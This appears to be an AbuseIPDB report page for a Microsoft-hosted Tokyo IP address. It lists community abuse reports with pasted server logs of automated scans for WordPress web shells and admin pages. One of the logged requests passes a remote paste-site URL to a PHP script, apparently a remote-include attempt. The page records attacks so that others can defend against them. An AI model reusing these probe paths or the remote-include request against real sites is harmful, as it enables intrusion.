JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 20.243.238.253

20.243.238.253 was found in our database!

This IP was reported 134 times. Confidence of Abuse is 0%: ?

ISP	Microsoft Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS8075
Domain Name	microsoft.com
Country	🇯🇵 Japan
City	Tokyo, Tokyo

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 20.243.238.253

Whois 20.243.238.253

IP Abuse Reports for 20.243.238.253:

This IP address has been reported a total of 134 times from 74 distinct sources. 20.243.238.253 was first reported on May 22nd 2024, and the most recent report was 2 years ago.

Old Reports: The most recent abuse report for this IP address is from 2 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇳🇱 Linuxmalwarehuntingnl	2024-06-30 09:54:29 (2 years ago)	Unauthorized connection attempt	Brute-Force
🇷🇴 ioanm.ro	2024-06-24 17:27:00 (2 years ago)	Tried to directory enumerate my blog with gobuster / similar Then tried to break into wp-login Word ... show more Tried to directory enumerate my blog with gobuster / similar Then tried to break into wp-login Wordpress to gain Admin access. show less	Hacking Web App Attack
Anonymous	2024-06-16 15:35:50 (2 years ago)	20.243.238.253 - - \[16/Jun/2024:23:35:49 +0800\] \"GET /wp-content/install.php HTTP/2.0\" 404 43728 ... show more 20.243.238.253 - - \[16/Jun/2024:23:35:49 +0800\] \"GET /wp-content/install.php HTTP/2.0\" 404 43728 \"http://blog.hamibook.com.tw//wp-content/install.php\" \"Go-http-client/2.0\" show less	Web App Attack
Anonymous	2024-06-16 14:59:26 (2 years ago)	[Sun Jun 16 16:59:24.490848 2024] [proxy_fcgi:error] [pid 2595449] [client 20.243.238.253:1792] AH01 ... show more [Sun Jun 16 16:59:24.490848 2024] [proxy_fcgi:error] [pid 2595449] [client 20.243.238.253:1792] AH01071: Got error 'Primary script unknown' [Sun Jun 16 16:59:25.025219 2024] [proxy_fcgi:error] [pid 2595449] [client 20.243.238.253:1792] AH01071: Got error 'Primary script unknown' ... show less	Brute-Force Web App Attack
🇸🇬 Charles	2024-06-16 12:05:11 (2 years ago)	20.243.238.253 - - [16/Jun/2024:20:05:09 +0800] "GET / HTTP/1.1" 301 421 "-" "Go-http-client/1.1" .. ... show more 20.243.238.253 - - [16/Jun/2024:20:05:09 +0800] "GET / HTTP/1.1" 301 421 "-" "Go-http-client/1.1" ... show less	Web Spam Email Spam Brute-Force Bad Web Bot Web App Attack SSH
🇲🇾 Rizzy	2024-06-16 10:58:08 (2 years ago)	Multiple WAF Violations	Brute-Force Web App Attack
🇦🇺 MAGIC	2024-06-16 10:02:54 (2 years ago)	VM5 Bad user agents ignoring web crawling rules. Draing bandwidth	DDoS Attack Bad Web Bot
🇫🇮 JimArchon72	2024-06-16 04:20:01 (2 years ago)	2024/06/16 04:15:51 "GET /wp-admin/wp-cron.php?ac=3 HTTP/2.0"	Web App Attack
🇩🇪 FeG Deutschland	2024-06-16 03:11:01 (2 years ago)	Looking for CMS/PHP/SQL vulnerablilities - 13	Exploited Host Web App Attack
🇭🇺 NyaljBe	2024-06-16 02:43:00 (2 years ago)	20.243.238.253 - - [16/Jun/2024:02:34:58 +0200] "GET /wp-content/uploads/wp-cron.php?ac=3 HTTP/1.1" ... show more 20.243.238.253 - - [16/Jun/2024:02:34:58 +0200] "GET /wp-content/uploads/wp-cron.php?ac=3 HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:57 +0200] "GET /simple.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:57 +0200] "GET /wp-content/wp-cron.php?ac=3 HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:57 +0200] "GET /wp-admin/cong.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:57 +0200] "GET /cong.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:56 +0200] "GET /wp-admin/maint/atomlib.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:56 +0200] "GET /wp-admin/user/about.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:56 +0200] "GET /wp-admin/network/index.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - - [16/Jun/2024:02:34:56 +0200] "GET show less	Web App Attack
🇭🇺 DumaNet	2024-06-16 02:21:00 (2 years ago)	Web app attack attempts, scanning for vulnerability. Date: 2024 Jun 16. 00:32:55 Source IP: 20.243 ... show more Web app attack attempts, scanning for vulnerability. Date: 2024 Jun 16. 00:32:55 Source IP: 20.243.238.253 Portion of the log(s): 20.243.238.253 - [16/Jun/2024:00:32:54 +0200] "GET /wp-content/themes/bute/lang.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:32:54 +0200] "GET /radio.php?vz=https://textbin.net/raw/bytsdwrs5a HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:32:53 +0200] "GET /mar.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:32:53 +0200] "GET /wp-includes/blocks/post-excerpt/index.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:32:53 +0200] "GET /wp-admin/dropdown.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:32:53 +0200] "GET /wp-includes/js/plupload/index.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:32:52 +0200] "GET /duck.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" .... show less	Web App Attack
🇭🇺 DumaNet	2024-06-16 02:10:00 (2 years ago)	Web app attack attempts, scanning for vulnerability. Date: 2024 Jun 16. 00:25:48 Source IP: 20.243 ... show more Web app attack attempts, scanning for vulnerability. Date: 2024 Jun 16. 00:25:48 Source IP: 20.243.238.253 Portion of the log(s): 20.243.238.253 - [16/Jun/2024:00:23:50 +0200] "GET /install.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:50 +0200] "GET /wp-content/install.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:50 +0200] "GET /bs1.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:49 +0200] "GET /wp-admin/install.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:49 +0200] "GET /content.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:49 +0200] "GET /wp-includes/rest-api/about.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:49 +0200] "GET /wp-includes/Text/about.php HTTP/1.1" 404 153 "-" "Go-http-client/1.1" 20.243.238.253 - [16/Jun/2024:00:23:48 +0200] "GET /dropdown.php HTTP/1.1" 404 153 show less	Web App Attack
🇦🇺 paulshipley.com.au	2024-06-16 01:03:08 (2 years ago)	paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:11:02:50 +1000] "GET /wp-content/uploads/ HTTP ... show more paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:11:02:50 +1000] "GET /wp-content/uploads/ HTTP/1.1" 403 446 "http://paulshipley.id.au//wp-content/uploads/" "Go-http-client/1.1" paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:11:02:51 +1000] "GET /wp-admin/admin-ajax.php HTTP/1.1" 400 570 "http://paulshipley.id.au//wp-admin/admin-ajax.php" "Go-http-client/1.1" paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:11:02:52 +1000] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 404 68848 "http://paulshipley.id.au//wp-content/themes/twenty/twenty.php" "Go-http-client/1.1" paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:11:02:54 +1000] "GET /wp-content/item.php HTTP/1.1" 404 65064 "http://paulshipley.id.au//wp-content/item.php" "Go-http-client/1.1" paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:11:02:56 +1000] "GET /goat11.PhP7 HTTP/1.1" 404 65046 "http://paulshipley.id.au//goat11.PhP7" "Go-http-client/1.1" paulshipley.id.au:443 20.243.238.253 - - [16/Jun/2024:1 ... show less	Web App Attack
🇮🇪 Jim Keir	2024-06-15 21:21:36 (2 years ago)	2024-06-15 21:21:35 20.243.238.253 File scanning, blocking 20.243.238.253 for 5 minutes	Web App Attack
🇩🇪 FeG Deutschland	2024-06-15 20:31:01 (2 years ago)	Looking for CMS/PHP/SQL vulnerablilities - 1	Exploited Host Web App Attack

Showing 1 to 15 of 134 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇩🇪 213.239.241.10

🇹🇼 211.72.115.235

🇳🇱 193.47.62.69

🇺🇸 154.36.76.199

🇺🇸 146.88.241.160

🇺🇸 129.121.112.42

🇨🇳 112.81.91.191

🇺🇸 103.215.74.112

🇸🇬 101.47.25.134

🇺🇸 99.95.205.1

🇺🇸 73.62.200.156

🇰🇷 59.8.26.43

🇲🇾 47.250.38.64

🇳🇱 45.148.10.151

🇩🇪 45.115.26.19

🇨🇳 223.76.225.18

🇺🇸 152.32.205.184

🇵🇱 93.174.27.8

🇹🇷 78.135.111.47

🇮🇶 62.201.255.92